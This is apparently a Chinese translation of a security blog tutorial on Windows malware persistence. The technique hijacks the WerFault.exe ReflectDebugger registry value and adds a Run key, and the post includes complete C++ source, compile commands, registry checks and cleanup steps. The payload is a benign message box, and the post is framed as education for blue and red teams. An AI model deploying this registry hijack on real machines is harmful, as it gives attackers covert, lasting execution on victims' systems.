这篇文章是基于我自己对一个更有趣的恶意软件权限维持技巧的研究:通过WerFault.exe
.
在研究Windows错误报告的行为时,我遇到了一个有趣的注册表路径:
HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting\Hangs
如果我们运行命令 WerFault.exe -pr <value>
则读取 HKLM\Software\Microsoft\Windows\Windows Error Reporting\Hangs\ReflectDebugger=<path_value>
。这个命令运行WerFault.exe
称为_“反射调试器”_的模式,非常有趣。例如,运行 WerFault.exe -pr 1
并通过 Sysinternals Process Monitor 进行检查:
添加另一个筛选器:
因此,我们有一个漏洞来劫持这个值:
那么,诀窍是什么?我们可以将注册表值 HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting\Hangs\ReflectDebugger
替换为我们的邪恶应用程序,因为 WerFault.exe
不仅读取此值,而且还运行它。当然,我们可以用它来权限维持。
为简单起见,我的恶意应用程序只是meow-meow
消息框(hack.cpp
):
/*
meow-meow messagebox
author: @cocomelonc
*/
#include <windows.h>
#pragma comment (lib, "user32.lib")
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
MessageBoxA(NULL, "Meow-meow!","=^..^=", MB_OK);
return 0;
}
然后,创建使用我的恶意应用程序创建注册表项值的脚本:
int main(int argc, char* argv[]) {
HKEY hkey = NULL;
// malicious app
const char* exe = "Z:\\2022-11-02-malware-pers-18\\hack.exe";
// hijacked app
const char* wf = "WerFault.exe -pr 1";
// set evil app
LONG res = RegOpenKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)"SOFTWARE\\Microsoft\\Windows\\Windows Error Reporting\\Hangs", 0 , KEY_WRITE, &hkey);
if (res == ERROR_SUCCESS) {
// create new registry key
RegSetValueEx(hkey, (LPCSTR)"ReflectDebugger", 0, REG_SZ, (unsigned char*)exe, strlen(exe));
RegCloseKey(hkey);
}
}
此外,我使用了权限维持的经典技巧之一:
// startup
res = RegOpenKeyEx(HKEY_CURRENT_USER, (LPCSTR)"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0 , KEY_WRITE, &hkey);
if (res == ERROR_SUCCESS) {
// create new registry key
RegSetValueEx(hkey, (LPCSTR)"meow", 0, REG_SZ, (unsigned char*)wf, strlen(wf));
RegCloseKey(hkey);
}
因此,最终的源代码看起来像这样(pers.cpp
):
/*
pers.cpp
windows persistense via WerFault.exe
author: @cocomelonc
https://cocomelonc.github.io/malware/2022/11/02/malware-pers-18.html
*/
#include <windows.h>
#include <string.h>
int main(int argc, char* argv[]) {
HKEY hkey = NULL;
// malicious app
const char* exe = "Z:\\2022-11-02-malware-pers-18\\hack.exe";
// hijacked app
const char* wf = "WerFault.exe -pr 1";
// set evil app
LONG res = RegOpenKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)"SOFTWARE\\Microsoft\\Windows\\Windows Error Reporting\\Hangs", 0 , KEY_WRITE, &hkey);
if (res == ERROR_SUCCESS) {
// create new registry key
RegSetValueEx(hkey, (LPCSTR)"ReflectDebugger", 0, REG_SZ, (unsigned char*)exe, strlen(exe));
RegCloseKey(hkey);
}
// startup
res = RegOpenKeyEx(HKEY_CURRENT_USER, (LPCSTR)"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0 , KEY_WRITE, &hkey);
if (res == ERROR_SUCCESS) {
// create new registry key
RegSetValueEx(hkey, (LPCSTR)"meow", 0, REG_SZ, (unsigned char*)wf, strlen(wf));
RegCloseKey(hkey);
}
return 0;
}
编译我们的恶意应用程序:
x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive
和权限维持脚本:
x86_64-w64-mingw32-g++ -O2 pers.cpp -o pers.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive
在运行所有内容之前,首先检查注册表项和值:
reg query "HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting\Hangs\" /s
reg query "HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting\Hangs\ReflectDebugger" /s
运行“恶意软件”以检查正确性:
此外,请检查用于权限维持逻辑的注册表项:
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /s
然后,运行 pers.exe
:
并再次检查 Windows 错误报告注册表项:
reg query "HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting\Hangs" /s
如你所见,键值被编辑,我们可以通过运行来检查正确性:
然后,注销并登录:
几秒钟后,我们的meow-meow
消息框按预期弹出:
你可以通过Process Hacker 2检查hack.exe
的属性:
另外,请注意劫持 Windows 错误报告所需的管理员权限,但为了权限维持,我们使用低权限:
Remove-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\Windows Error Reporting\Hangs" -Name "ReflectDebugger"
Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "meow"
我不知道是否有任何 APT 使用了这种策略和技巧,但是,我希望这篇文章能够向蓝队成员传播这种有趣技术的认识,尤其是在创建软件时,并为红队武器库添加武器。
这是一个仅用于教育目的的实际案例。
MSDN Windows 错误报告
DLL 劫持
使用导出函数进行 DLL 劫持
恶意软件权限维持:第 1 部分)
GitHub 中的源代码
源文章